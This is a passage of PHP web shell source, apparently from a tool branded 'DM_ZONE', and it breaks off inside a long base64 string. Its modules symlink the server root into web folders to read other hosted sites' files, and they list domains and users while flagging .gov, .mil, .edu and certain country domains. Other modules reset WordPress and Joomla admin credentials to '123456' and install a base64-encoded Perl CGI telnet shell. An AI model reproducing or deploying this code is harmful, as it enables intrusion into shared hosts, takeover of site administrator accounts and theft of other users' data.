1494echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">ETC/PASSWD ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="400" cellspacing="0" cellpadding="4">';
1495echo'<tr>
1496<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
1497<td align="center"> <font color="white"> <b>_USERS_</b></td>
1498<td align="center"> <font color="white"> <b>_SYMLINK_</b></td>';
1499
1500$list = scandir("/var/named");
1501foreach($etcz as $etz){
1502$etcc = explode(":",$etz);
1503foreach($list as $domain) {
1504if(strpos($domain,".db")) {
1505$domain = str_replace('.db','',$domain);
1506$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1507if($owner['name'] == $etcc[0]){
1508$i += 1;
1509echo "<tr>
1510<td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
1511<td align='center'><font color='white'>".$owner['name']."</font></td>
1512<td align='center'><a href='dm3sym/dm.txt".$owner['dir']."/public_html/' target='_blank'>Symlink</a></td>";
1513} } } }
1514flush();
1515flush();
1516}
1517echo "</tr></table></div></html>";
1518
1519}
1520
1521# x=dmsym4
1522elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym4')) {
1523@session_start();
1524@set_time_limit(0);
1525@error_reporting(0);
1526@ini_set('log_errors',0);
1527@ini_set('error_log',NULL);
1528@ini_set('max_execution_time',0);
1529if($win){
1530echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1531}
1532@mkdir('dm4sym',0777);
1533$sempak = "Options all \n
1534DirectoryIndex dm.html \n
1535AddType text/plain .php \n
1536AddHandler server-parsed .php \n
1537AddType text/plain .html \n
1538AddHandler txt .html \n
1539Require None \n
1540Satisfy Any";
1541$masuk =@fopen ('dm4sym/.htaccess','w');
1542fwrite($masuk ,$sempak);
1543@symlink('/','dm4sym/dm.txt');
1544$pg = basename(__FILE__);
1545
1546if(is_readable("/etc/named.conf")){
1547echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">ETC/NAMED.CONF ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="400" cellspacing="0" cellpadding="4">';
1548echo '<tr>
1549<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
1550<td align="center"> <font color="white"> <b>_USERS_</b></td>
1551<td align="center"> <font color="white"> <b>_SYMLINK_</b></td>';
1552$named = file_get_contents("/etc/named.conf");
1553preg_match_all('%zone \"(.*)\" {%',$named,$domains);
1554foreach($domains[1] as $domain){
1555$domain = trim($domain);
1556$i += 1;
1557$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1558echo "<tr>
1559<td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
1560<td align='center'><font color='white'>".$owner['name']."</font></td>
1561<td align='center'><a href='dm4sym/dm.txt".$owner['dir']."/public_html' target='_blank'>Symlink</a></td>";
1562}
1563flush();
1564flush();
1565}
1566echo "</tr></table></div></html>";
1567
1568}
1569
1570# x=dmsym5
1571elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym5')) {
1572@session_start();
1573@set_time_limit(0);
1574@error_reporting(0);
1575@ini_set('log_errors',0);
1576@ini_set('error_log',NULL);
1577@ini_set('max_execution_time',0);
1578if($win){
1579echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1580}
1581@mkdir('dm5sym',0777);
1582$sempak = "Options all \n
1583DirectoryIndex dm.html \n
1584AddType text/plain .php \n
1585AddHandler server-parsed .php \n
1586AddType text/plain .html \n
1587AddHandler txt .html \n
1588Require None \n
1589Satisfy Any";
1590$masuk =@fopen ('dm5sym/.htaccess','w');
1591fwrite($masuk ,$sempak);
1592@symlink('/','dm5sym/dm.txt');
1593$pg = basename(__FILE__);
1594$read_named_conf = @file('/etc/named.conf');
1595if(!$read_named_conf) {
1596echo "<center><br/><br/><nobr><span class='b9'>Can't Read File etc/named.conf :(</span></nobr><br/><br/>";
1597} else {
1598echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ SYMLINK</span> <span class='b8'>ETC/NAMED.CONF II ]:=O</span></b></nobr><br/><br/> <table border='3' bordercolor='#FF0000' width='400' cellpadding='1' cellspacing='0'>
1599<td align='center'> <font color='white'> <b>_DOMAINS_</b></td>
1600<td align='center'> <font color='white'> <b>_USERS_</b></td>
1601<td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
1602foreach($read_named_conf as $subject){
1603if(eregi('zone',$subject)){
1604preg_match_all('#zone"(.*)"#',$subject,$string);
1605flush();
1606if(strlen(trim($string[1][0])) >2){
1607$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
1608$name = $UID['name'] ;
1609@symlink('/','dm5sym/dm.txt');
1610$name = $string[1][0];
1611$australia = '\.au';
1612$bangladesh = '\.bd';
1613$brazil ='\.br';
1614$malaysia = '\.my';
1615$myanmar = '\.mm';
1616$indonesia = '\.id';
1617$israel = '\.il';
1618$romania = '\.ro';
1619$edu = '\.edu';
1620$gov = '\.gov';
1621$go = '\.go';
1622$gob = '\.gob';
1623$mil = '\.mil';
1624if (eregi("$australia",$string[1][0]) or eregi("$bangladesh",$string[1][0]) or eregi("$brazil",$string[1][0]) or eregi("$malaysia",$string[1][0])or eregi("$myanmar",$string[1][0]) or eregi ("$indonesia",$string[1][0]) or eregi ("$israel",$string[1][0]) or eregi ("$romania",$string[1][0]) or eregi("$edu",$string[1][0]) or eregi("$gov",$string[1][0]) or eregi("$go",$string[1][0]) or eregi("$gob",$string[1][0]) or eregi("$mil",$string[1][0]) or eregi ("$mil2",$string[1][0]))
1625{ $name = "<div style=' color:yellow ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>'; }
1626echo "<tr>
1627<td><a class='dm' target='_blank' href=http://".$string[1][0].'/>'.$name.' </a></center></div></td>
1628<td align=center><font color=white>'.$UID['name']."</td>
1629<td align=center><a href='dm5sym/dm.txt/home/".$UID['name']."/public_html/' target='_blank'>Symlink </a></td></tr>";
1630flush();
1631}}}}
1632flush();
1633flush();
1634echo "</tr></table></div></html>";
1635
1636}
1637
1638# x=dmsym6
1639elseif(isset($_GET['x']) && ($_GET['x'] == 'dmsym6')) {
1640@session_start();
1641@set_time_limit(0);
1642@error_reporting(0);
1643@ini_set('log_errors',0);
1644@ini_set('error_log',NULL);
1645@ini_set('max_execution_time',0);
1646if($win){
1647echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1648}
1649@mkdir('dm6sym',0777);
1650$sempak = "Options all \n
1651DirectoryIndex dm.html \n
1652AddType text/plain .php \n
1653AddHandler server-parsed .php \n
1654AddType text/plain .html \n
1655AddHandler txt .html \n
1656Require None \n
1657Satisfy Any";
1658$masuk =@fopen ('dm5sym/.htaccess','w');
1659fwrite($masuk ,$sempak);
1660@symlink('/','dm6sym/dm.txt');
1661$pg = basename(__FILE__);
1662if(is_readable("/etc/valiases")){
1663echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">ETC/VALIASES ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="300" cellspacing="0" cellpadding="4">';
1664echo '<tr>
1665<td align="center"><font color="white"> <b>_DOMAINS_</b></td>
1666<td align="center"><font color="white"> <b>_USERS_</b></td>
1667<td align="center"><font color="white"> <b>SYMLINK</b></td>';
1668$list = scandir("/etc/valiases");
1669foreach($list as $domain){
1670$i += 1;
1671$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1672echo "<tr>
1673<td><a class='dm' href='http://".$domain." '>".$domain."</a></td>
1674<td align='center'><font color='white'>".$owner['name']."</font></td>
1675<td align='center'><a href='dm6sym/dm.txt".$owner['dir']."/public_html' target='_blank'>Symlink</a>/td>";
1676}
1677flush();
1678flush();
1679}
1680echo "</tr></table></div></html>";
1681}
1682
1683# x=wp3
1684elseif(isset($_GET['x']) && ($_GET['x'] == 'wp3')) {
1685
1686echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ WORDPRESS</span> <span class='b8'>PASS CHANGER ]:=O</span></b></nobr><br/><br/> ";
1687
1688if(empty($_POST['pwd'])){
1689echo "<FORM method='POST'>
1690<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Host</td><td>
1691<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
1692<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
1693<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
1694<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
1695<tr><td> User baru</td><td>
1696<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
1697 <tr><td> Pass Baru</td><td>
1698<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
1699
1700<input style='width:19%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
1701</td></tr> </table><br><br><br><br>
1702";
1703}else{
1704$localhost = $_POST['localhost'];
1705$database = $_POST['database'];
1706$username = $_POST['username'];
1707$password = $_POST['password'];
1708$pwd = $_POST['pwd'];
1709$admin = $_POST['admin'];
1710@mysql_connect($localhost,$username,$password) or die(mysql_error());
1711@mysql_select_db($database) or die(mysql_error());
1712
1713$hash = crypt($pwd);
1714$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
1715$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
1716$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
1717$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
1718$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
1719$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
1720$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
1721if($a4s){
1722echo "<br><br><b><nobr><span class='b11'> Password Change Successfully</span></nobr></b><br/>";
1723}
1724}
1725echo "</div>";
1726}
1727
1728# x=jm4
1729elseif(isset($_GET['x']) && ($_GET['x'] == 'jm4')) {
1730
1731echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ JOOMLA</span> <span class='b8'>PASS CHANGER ]:=O</span></b></nobr><br/><br/> ";
1732if(empty($_POST['pwd'])){
1733echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
1734<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr>
1735<tr><td> Database</td><td>
1736<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr>
1737<tr><td> username</td><td>
1738<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr>
1739<tr><td> password</td><td>
1740<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
1741<tr><td> New User</td><td>
1742<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
1743<tr><td> New Pass </td>
1744<td>123456 = <input style='width:160px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' /> </td></tr>
1745<tr><td><input style='width:130%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
1746</td></tr></table><br>";
1747} else {
1748$localhost = $_POST['localhost'];
1749$database = $_POST['database'];
1750$username = $_POST['username'];
1751$password = $_POST['password'];
1752$pwd = $_POST['pwd'];
1753$admin = $_POST['admin'];
1754@mysql_connect($localhost,$username,$password) or die(mysql_error());
1755@mysql_select_db($database) or die(mysql_error());
1756$hash = crypt($pwd);
1757$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
1758$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
1759$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
1760$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
1761$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
1762$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
1763$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
1764$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
1765if($SQL){
1766echo "<br><br><b><nobr><span class='b11'> Password Change Successfully</span></nobr></b><br/>";
1767}
1768}
1769echo "</div>";
1770}
1771# x=cgi2012
1772elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
1773echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ CGI TELNET</span> <span class='b8'> 2012 ]:=O</span></b></nobr><br/><br/> ";
1774echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='telnet/telnet.cok' target='_blank'>[+] HERE [+]</a></center></span></br>";
1775mkdir('telnet', 0755);
1776chdir('telnet');
1777$htcok = ".htaccess";
1778$htaccesscok = "$htcok";
1779$file = fopen($htaccesscok , 'w');
1780$cacad = "AddHandler cgi-script .cok";
1781fwrite ($file ,$cacad);
1782fclose ($file);
1783$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+RE1fWk9ORTwvZm9udD4iOw0KDQokUGFzc3dvcmQgPSAiYW51IjsJCQkNCgkJCQkNCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91DQoJCQkJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxNTA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJbXkgJGRpciA9JEN1cnJlbnREaXI7DQoJJGRpcj1+IHMvXFwvXFxcXC9nOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5DR0kgVEVMTkVUPC90aXRsZT4NCg0KJEh0bWxNZXRhSGVhZGVyDQoNCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogIzJCQThFQzsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCg0KdGFibGUgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KDQoNCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCg0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KDQpjb2RlIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiB3aGlsZTsNCn0NCg0KcnVuIHsNCmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCg0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiAjYWFhOw0KfQ0KQTpsaW5rIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOnZpc2l0ZWQgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6aG92ZXIgew0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI2ZmOTkwMDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQoNCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcm